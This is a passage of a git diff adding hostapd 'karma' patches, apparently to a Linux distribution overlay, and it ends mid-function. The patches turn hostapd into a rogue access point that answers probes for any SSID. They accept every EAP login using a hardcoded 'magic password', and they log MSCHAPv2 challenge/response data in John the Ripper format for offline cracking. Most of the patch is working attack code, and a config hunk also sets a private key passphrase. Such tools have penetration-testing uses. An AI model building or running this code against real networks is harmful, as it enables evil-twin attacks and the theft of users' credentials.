+ * hdr - Pointer to the RADIUS header in buf
+ */
+- struct radius_hdr *hdr;
++ //struct radius_hdr *hdr;
+
+ /**
+ * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@
+ * The values are number of bytes from buf to the beginning of
+ * struct radius_attr_hdr.
+ */
+- size_t *attr_pos;
++ //size_t *attr_pos;
+
+ /**
+ * attr_size - Total size of the attribute pointer array
+ */
+- size_t attr_size;
++ //size_t attr_size;
+
+ /**
+ * attr_used - Total number of attributes in the array
+ */
+- size_t attr_used;
+-};
++ //size_t attr_used;
++//};
+
+
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@
+ return msg->buf;
+ }
+
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@
+ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ msg->hdr->code = code;
+diff -urN hostapd-1.0.orig//src/radius/radius.h hostapd-1.0/src/radius/radius.h
+--- hostapd-1.0.orig//src/radius/radius.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.h 2012-07-17 18:40:21.000000000 +0800
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+
++/************************/
++struct radius_msg {
++ /**
++ * buf - Allocated buffer for RADIUS message
++ */
++ struct wpabuf *buf;
++
++ /**
++ * hdr - Pointer to the RADIUS header in buf
++ */
++ struct radius_hdr *hdr;
++
++ /**
++ * attr_pos - Array of indexes to attributes
++ *
++ * The values are number of bytes from buf to the beginning of
++ * struct radius_attr_hdr.
++ */
++ size_t *attr_pos;
++
++ /**
++ * attr_size - Total size of the attribute pointer array
++ */
++ size_t attr_size;
++
++ /**
++ * attr_used - Total number of attributes in the array
++ */
++ size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ u8 code;
+ u8 identifier;
+@@ -201,6 +240,10 @@
+ size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ size_t data_len);
+@@ -238,7 +281,13 @@
+ u32 val = htonl(value);
+ return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++ return (struct radius_attr_hdr *)
++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
new file mode 100644
index 00000000..e1cc89e3
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
@@ -0,0 +1,481 @@
+diff -urN hostapd-0.7.3.orig/hostapd/Makefile hostapd-0.7.3/hostapd/Makefile
+--- hostapd-0.7.3.orig/hostapd/Makefile 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/Makefile 2011-05-02 15:59:46.787000009 +0800
+@@ -3,7 +3,7 @@
+ endif
+
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+
+ CFLAGS += -I../src
+@@ -84,6 +84,7 @@
+
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+
++OBJS += ../src/karma/karma.o
+
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+diff -urN hostapd-0.7.3.orig/hostapd/hostapd.conf hostapd-0.7.3/hostapd/hostapd.conf
+--- hostapd-0.7.3.orig/hostapd/hostapd.conf 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/hostapd.conf 2011-05-02 15:59:46.788000008 +0800
+@@ -3,7 +3,7 @@
+
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -99,14 +100,14 @@
+
+ # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g,
+ # Default: IEEE 802.11b
+-hw_mode=a
++hw_mode=b
+
+ # Channel number (IEEE 802.11)
+ # (default: 0, i.e., not set)
+ # Please note that some drivers (e.g., madwifi) do not use this value from
+ # hostapd and the channel will need to be configuration separately with
+ # iwconfig.
+-channel=60
++channel=1
+
+ # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
+ beacon_int=100
+@@ -410,7 +411,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -418,7 +419,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -460,16 +461,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -477,9 +480,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -674,6 +679,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -695,6 +701,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-0.7.3.orig/hostapd/main.c hostapd-0.7.3/hostapd/main.c
+--- hostapd-0.7.3.orig/hostapd/main.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/main.c 2011-05-02 16:01:06.320000003 +0800
+@@ -36,6 +36,10 @@
+ extern int wpa_debug_show_keys;
+ extern int wpa_debug_timestamp;
+
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+
+ struct hapd_interfaces {
+ size_t count;
+@@ -458,7 +462,7 @@
+ show_version();
+ fprintf(stderr,
+ "\n"
+- "usage: hostapd [-hdBKtv] [-P <PID file>] "
++ "usage: hostapd [-hdBKtvRA] [-P <PID file>] "
+ "<configuration file(s)>\n"
+ "\n"
+ "options:\n"
+@@ -468,7 +472,9 @@
+ " -P PID file\n"
+ " -K include key data in debug messages\n"
+ " -t include timestamps in some debug messages\n"
+- " -v show hostapd version\n");
++ " -v show hostapd version\n"
++ " -R [karma] respond to all probes using requested SSID\n"
++ " -A [karma] enable authentication attempt logging\n");
+
+ exit(1);
+ }
+@@ -486,7 +492,7 @@
+ return -1;
+
+ for (;;) {
+- c = getopt(argc, argv, "BdhKP:tv");
++ c = getopt(argc, argv, "BdhKP:tvRA");
+ if (c < 0)
+ break;
+ switch (c) {
+@@ -511,6 +517,12 @@
+ case 't':
+ wpa_debug_timestamp++;
+ break;
++ case 'R':
++ karma_beacon_respond++;
++ break;
++ case 'A':
++ karma_eap_auth++;
++ break;
+ case 'v':
+ show_version();
+ exit(1);
+diff -urN hostapd-0.7.3.orig/src/ap/beacon.c hostapd-0.7.3/src/ap/beacon.c
+--- hostapd-0.7.3.orig/src/ap/beacon.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/beacon.c 2011-05-02 15:59:46.789000006 +0800
+@@ -14,6 +14,11 @@
+ * See README and COPYING for more details.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -250,7 +255,24 @@
+ if (sta)
+ sta->ssid_probe = &hapd->conf->ssid;
+ }
+-
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ else if (karma_beacon_respond) {
++ char ssid_txt[33];
++ char *message = NULL;
++
++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++ karma_logger(0, message);
++ free(message);
++
++ ssid = (char *)elems.ssid;
++ ssid_len = elems.ssid_len;
++ //if (sta)
++ // sta->ssid_probe = &elems.ssid;
++ }
+ if (!ssid) {
+ if (!(mgmt->da[0] & 0x01)) {
+ char ssid_txt[33];
+diff -urN hostapd-0.7.3.orig/src/ap/hostapd.c hostapd-0.7.3/src/ap/hostapd.c
+--- hostapd-0.7.3.orig/src/ap/hostapd.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/hostapd.c 2011-05-02 15:59:46.789000006 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #include "utils/common.h"
+diff -urN hostapd-0.7.3.orig/src/ap/ieee802_11.c hostapd-0.7.3/src/ap/ieee802_11.c
+--- hostapd-0.7.3.orig/src/ap/ieee802_11.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/ieee802_11.c 2011-05-02 15:59:46.790000004 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -533,8 +535,9 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server.c hostapd-0.7.3/src/eap_server/eap_server.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server.c 2011-05-02 15:59:46.791000002 +0800
+@@ -18,6 +18,11 @@
+ * backend_auth configuration variable to TRUE.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ int phase2)
+ {
+- struct eap_user *user;
+-
+- if (sm == NULL || sm->eapol_cb == NULL ||
+- sm->eapol_cb->get_eap_user == NULL)
+- return -1;
+-
+- eap_user_free(sm->user);
++ struct eap_user *user;
++ char *username = NULL;
++ char *message = NULL;
++
++ eap_user_free(sm->user);
+ sm->user = NULL;
+
+- user = os_zalloc(sizeof(*user));
+- if (user == NULL)
+- return -1;
++ user = os_zalloc(sizeof(*user));
++ if (user == NULL)
++ return -1;
++
++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++ if (karma_eap_auth)
++ {
++ user->methods[0].vendor = sm->respVendor;
++ user->password = os_zalloc(9);
++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++ user->password_len = 8;
++
++ if (phase2)
++ user->methods[0].method = EAP_TYPE_MSCHAPV2;
++ else // TODO: what happens if we propose LEAP?
++ user->methods[0].method = EAP_TYPE_PEAP;
++
++ username = os_zalloc(sm->identity_len + 1);
++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++
++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++ printf("Error allocating memory for request message.\n");
++
++ karma_logger(0, message);
++ free(message);
++ }
++ else
++ {
++ if (sm == NULL || sm->eapol_cb == NULL ||
++ sm->eapol_cb->get_eap_user == NULL)
++ return -1;
+
+- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+- identity_len, phase2, user) != 0) {
+- eap_user_free(user);
+- return -1;
+- }
++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++ identity_len, phase2, user) != 0) {
++ eap_user_free(user);
++ return -1;
++ }
++ }
+
+ sm->user = user;
+ sm->user_eap_method_index = 0;
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c 2011-05-02 15:59:46.792000002 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -289,13 +291,15 @@
+ struct wpabuf *respData)
+ {
+ struct eap_mschapv2_hdr *resp;
+- const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ u8 flags;
+ size_t len, name_len, i;
+ u8 expected[24];
+ const u8 *username, *user;
+ size_t username_len, user_len;
+ int res;
++ char *auth_creds = NULL;
++ int auth_creds_len = 0;
+
+ pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ &len);
+@@ -335,6 +339,38 @@
+ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+
++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++ if (karma_eap_auth)
++ {
++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++ auth_creds = os_malloc(auth_creds_len + 1);
++ memset(auth_creds, 0, auth_creds_len + 1);
++
++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len);
++ sprintf(auth_creds + sm->identity_len, ":::");
++
++ /* Authenticator Challenge */
++ auth_challenge = data->auth_challenge;
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++ /* MSCHAPv2 Response */
++ for (i=0; i<24; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++
++ /* Peer Challenge */
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]);
++
++ karma_logger(1, auth_creds);
++ free(auth_creds);
++ }
++
+ /* MSCHAPv2 does not include optional domain name in the
+ * challenge-response calculation, so remove domain prefix
+ * (if present). */
+diff -urN hostapd-0.7.3.orig/src/karma/karma.c hostapd-0.7.3/src/karma/karma.c
+--- hostapd-0.7.3.orig/src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.c 2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++ FILE *logfd;
++ time_t cur_time;
++ struct tm *tm_ptr;
++ char time_buf[256];
++ /* General: probe requests, username requests */
++ logfd = fopen("./hostapd-karma.txt", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++ logfd = stderr;
++ }
++
++ cur_time = time(NULL);
++ (void) time(&cur_time);
++ tm_ptr = localtime(&cur_time);
++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++ fprintf(logfd, "%s:%s\n", time_buf, message);
++ fprintf(stderr, "[karma] %s:%s\n", time_buf, message);
++ fclose(logfd);
++
++ /* MSCHAPv2 Challenge/Response */
++ if (type == 1)
++ {
++ logfd = fopen("./hostapd-karma.lc", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++ logfd = stderr;
++ }
++ fprintf(logfd, "%s\n", message);
++ fclose(logfd);
++ }
++}
+diff -urN hostapd-0.7.3.orig/src/karma/karma.h hostapd-0.7.3/src/karma/karma.h
+--- hostapd-0.7.3.orig/src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.h 2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;
++extern void karma_logger(int, char*);
+diff -urN hostapd-0.7.3.orig/src/utils/wpa_debug.c hostapd-0.7.3/src/utils/wpa_debug.c
+--- hostapd-0.7.3.orig/src/utils/wpa_debug.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/utils/wpa_debug.c 2011-05-02 15:59:46.793000003 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+
++/* Karma Mode */
++#include "karma/karma.h"
+
+ #ifdef CONFIG_DEBUG_FILE
+ static FILE *out_file = NULL;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
new file mode 100644
index 00000000..d16424d1
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
@@ -0,0 +1,1199 @@
+diff -Nur hostapd-1.0/hostapd/.config hostapd-1.0-karma/hostapd/.config
+--- hostapd-1.0/hostapd/.config 1970-01-01 01:00:00.000000000 +0100
++++ hostapd-1.0-karma/hostapd/.config 2012-08-06 16:55:02.000000000 +0100
+@@ -0,0 +1,246 @@
++# Example hostapd build time configuration
++#
++# This file lists the configuration options that are used when building the
++# hostapd binary. All lines starting with # are ignored. Configuration option
++# lines must be commented out complete, if they are not to be included, i.e.,
++# just setting VARIABLE=n is not disabling that variable.
++#
++# This file is included in Makefile, so variables like CFLAGS and LIBS can also
++# be modified from here. In most cass, these lines should use += in order not
++# to override previous values of the variables.
++
++# Driver interface for Host AP driver
++CONFIG_DRIVER_HOSTAP=y
++
++# Driver interface for wired authenticator
++#CONFIG_DRIVER_WIRED=y
++
++# Driver interface for madwifi driver
++#CONFIG_DRIVER_MADWIFI=y
++#CFLAGS += -I../../madwifi # change to the madwifi source directory
++
++# Driver interface for drivers using the nl80211 kernel interface
++CONFIG_DRIVER_NL80211=y
++
++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
++#CONFIG_DRIVER_BSD=y
++#CFLAGS += -I/usr/local/include
++#LIBS += -L/usr/local/lib
++#LIBS_p += -L/usr/local/lib
++#LIBS_c += -L/usr/local/lib
++
++# Driver interface for no driver (e.g., RADIUS server only)
++#CONFIG_DRIVER_NONE=y
++
++# IEEE 802.11F/IAPP
++CONFIG_IAPP=y
++
++# WPA2/IEEE 802.11i RSN pre-authentication
++CONFIG_RSN_PREAUTH=y
++
++# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
++CONFIG_PEERKEY=y
++
++# IEEE 802.11w (management frame protection)
++# This version is an experimental implementation based on IEEE 802.11w/D1.0
++# draft and is subject to change since the standard has not yet been finalized.
++# Driver support is also needed for IEEE 802.11w.
++#CONFIG_IEEE80211W=y
++
++# Integrated EAP server
++CONFIG_EAP=y
++
++# EAP-MD5 for the integrated EAP server
++CONFIG_EAP_MD5=y
++
++# EAP-TLS for the integrated EAP server
++CONFIG_EAP_TLS=y
++
++# EAP-MSCHAPv2 for the integrated EAP server
++CONFIG_EAP_MSCHAPV2=y
++
++# EAP-PEAP for the integrated EAP server
++CONFIG_EAP_PEAP=y
++
++# EAP-GTC for the integrated EAP server
++CONFIG_EAP_GTC=y
++
++# EAP-TTLS for the integrated EAP server
++CONFIG_EAP_TTLS=y
++
++# EAP-SIM for the integrated EAP server
++#CONFIG_EAP_SIM=y
++
++# EAP-AKA for the integrated EAP server
++#CONFIG_EAP_AKA=y
++
++# EAP-AKA' for the integrated EAP server
++# This requires CONFIG_EAP_AKA to be enabled, too.
++#CONFIG_EAP_AKA_PRIME=y
++
++# EAP-PAX for the integrated EAP server
++#CONFIG_EAP_PAX=y
++
++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
++#CONFIG_EAP_PSK=y
++
++# EAP-pwd for the integrated EAP server (secure authentication with a password)
++#CONFIG_EAP_PWD=y
++
++# EAP-SAKE for the integrated EAP server
++#CONFIG_EAP_SAKE=y
++
++# EAP-GPSK for the integrated EAP server
++#CONFIG_EAP_GPSK=y
++# Include support for optional SHA256 cipher suite in EAP-GPSK
++#CONFIG_EAP_GPSK_SHA256=y
++
++# EAP-FAST for the integrated EAP server
++# Note: Default OpenSSL package does not include support for all the
++# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL,
++# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch)
++# to add the needed functions.
++#CONFIG_EAP_FAST=y
++
++# Wi-Fi Protected Setup (WPS)
++#CONFIG_WPS=y
++# Enable WSC 2.0 support
++#CONFIG_WPS2=y
++# Enable UPnP support for external WPS Registrars
++#CONFIG_WPS_UPNP=y
++
++# EAP-IKEv2
++#CONFIG_EAP_IKEV2=y
++
++# Trusted Network Connect (EAP-TNC)
++#CONFIG_EAP_TNC=y
++
++# PKCS#12 (PFX) support (used to read private key and certificate file from
++# a file that usually has extension .p12 or .pfx)
++CONFIG_PKCS12=y
++
++# RADIUS authentication server. This provides access to the integrated EAP
++# server from external hosts using RADIUS.
++#CONFIG_RADIUS_SERVER=y
++
++# Build IPv6 support for RADIUS operations
++CONFIG_IPV6=y
++
++# IEEE Std 802.11r-2008 (Fast BSS Transition)
++#CONFIG_IEEE80211R=y
++
++# Use the hostapd's IEEE 802.11 authentication (ACL), but without
++# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211)
++#CONFIG_DRIVER_RADIUS_ACL=y
++
++# IEEE 802.11n (High Throughput) support
++#CONFIG_IEEE80211N=y
++
++# Remove debugging code that is printing out debug messages to stdout.
++# This can be used to reduce the size of the hostapd considerably if debugging
++# code is not needed.
++#CONFIG_NO_STDOUT_DEBUG=y
++
++# Add support for writing debug log to a file: -f /tmp/hostapd.log
++# Disabled by default.
++CONFIG_DEBUG_FILE=y
++
++# Remove support for RADIUS accounting
++#CONFIG_NO_ACCOUNTING=y
++
++# Remove support for RADIUS
++#CONFIG_NO_RADIUS=y
++
++# Remove support for VLANs
++#CONFIG_NO_VLAN=y
++
++# Enable support for fully dynamic VLANs. This enables hostapd to
++# automatically create bridge and VLAN interfaces if necessary.
++#CONFIG_FULL_DYNAMIC_VLAN=y
++
++# Remove support for dumping state into a file on SIGUSR1 signal
++# This can be used to reduce binary size at the cost of disabling a debugging
++# option.
++#CONFIG_NO_DUMP_STATE=y
++
++# Enable tracing code for developer debugging
++# This tracks use of memory allocations and other registrations and reports
++# incorrect use with a backtrace of call (or allocation) location.
++#CONFIG_WPA_TRACE=y
++# For BSD, comment out these.
++#LIBS += -lexecinfo
++#LIBS_p += -lexecinfo
++#LIBS_c += -lexecinfo
++
++# Use libbfd to get more details for developer debugging
++# This enables use of libbfd to get more detailed symbols for the backtraces
++# generated by CONFIG_WPA_TRACE=y.
++#CONFIG_WPA_TRACE_BFD=y
++# For BSD, comment out these.
++#LIBS += -lbfd -liberty -lz
++#LIBS_p += -lbfd -liberty -lz
++#LIBS_c += -lbfd -liberty -lz
++
++# hostapd depends on strong random number generation being available from the
++# operating system. os_get_random() function is used to fetch random data when
++# needed, e.g., for key generation. On Linux and BSD systems, this works by
++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
++# properly initialized before hostapd is started. This is important especially
++# on embedded devices that do not have a hardware random number generator and
++# may by default start up with minimal entropy available for random number
++# generation.
++#
++# As a safety net, hostapd is by default trying to internally collect
++# additional entropy for generating random data to mix in with the data
++# fetched from the OS. This by itself is not considered to be very strong, but
++# it may help in cases where the system pool is not initialized properly.
++# However, it is very strongly recommended that the system pool is initialized
++# with enough entropy either by using hardware assisted random number
++# generator or by storing state over device reboots.
++#
++# hostapd can be configured to maintain its own entropy store over restarts to
++# enhance random number generation. This is not perfect, but it is much more
++# secure than using the same sequence of random numbers after every reboot.
++# This can be enabled with -e<entropy file> command line option. The specified
++# file needs to be readable and writable by hostapd.
++#
++# If the os_get_random() is known to provide strong random data (e.g., on
++# Linux/BSD, the board in question is known to have reliable source of random
++# data from /dev/urandom), the internal hostapd random pool can be disabled.
++# This will save some in binary size and CPU use. However, this should only be
++# considered for builds that are known to be used on devices that meet the
++# requirements described above.
++#CONFIG_NO_RANDOM_POOL=y
++
++# Select TLS implementation
++# openssl = OpenSSL (default)
++# gnutls = GnuTLS
++# internal = Internal TLSv1 implementation (experimental)
++# none = Empty template
++#CONFIG_TLS=openssl
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
++# can be enabled to get a stronger construction of messages when block ciphers
++# are used.
++#CONFIG_TLSV11=y
++
++# If CONFIG_TLS=internal is used, additional library and include paths are
++# needed for LibTomMath. Alternatively, an integrated, minimal version of
++# LibTomMath can be used. See beginning of libtommath.c for details on benefits
++# and drawbacks of this option.
++#CONFIG_INTERNAL_LIBTOMMATH=y
++#ifndef CONFIG_INTERNAL_LIBTOMMATH
++#LTM_PATH=/usr/src/libtommath-0.39
++#CFLAGS += -I$(LTM_PATH)
++#LIBS += -L$(LTM_PATH)
++#LIBS_p += -L$(LTM_PATH)
++#endif
++# At the cost of about 4 kB of additional binary size, the internal LibTomMath
++# can be configured to include faster routines for exptmod, sqr, and div to
++# speed up DH and RSA calculation considerably
++#CONFIG_INTERNAL_LIBTOMMATH_FAST=y
++
++# Interworking (IEEE 802.11u)
++# This can be used to enable functionality to improve interworking with
++# external networks.
++#CONFIG_INTERWORKING=y
+diff -Nur hostapd-1.0/hostapd/config_file.c hostapd-1.0-karma/hostapd/config_file.c
+--- hostapd-1.0/hostapd/config_file.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/config_file.c 2012-08-06 12:20:55.000000000 +0100
+@@ -122,6 +122,63 @@
+ }
+
+
++// KARMA
++static int hostapd_config_read_karma_ssid(const char *fname, struct hostapd_config *conf) {
++ FILE *f;
++ char buf[33], *pos;
++ int line = 0;
++ karma_ssid_t *karma_ssid;
++
++ if (!fname)
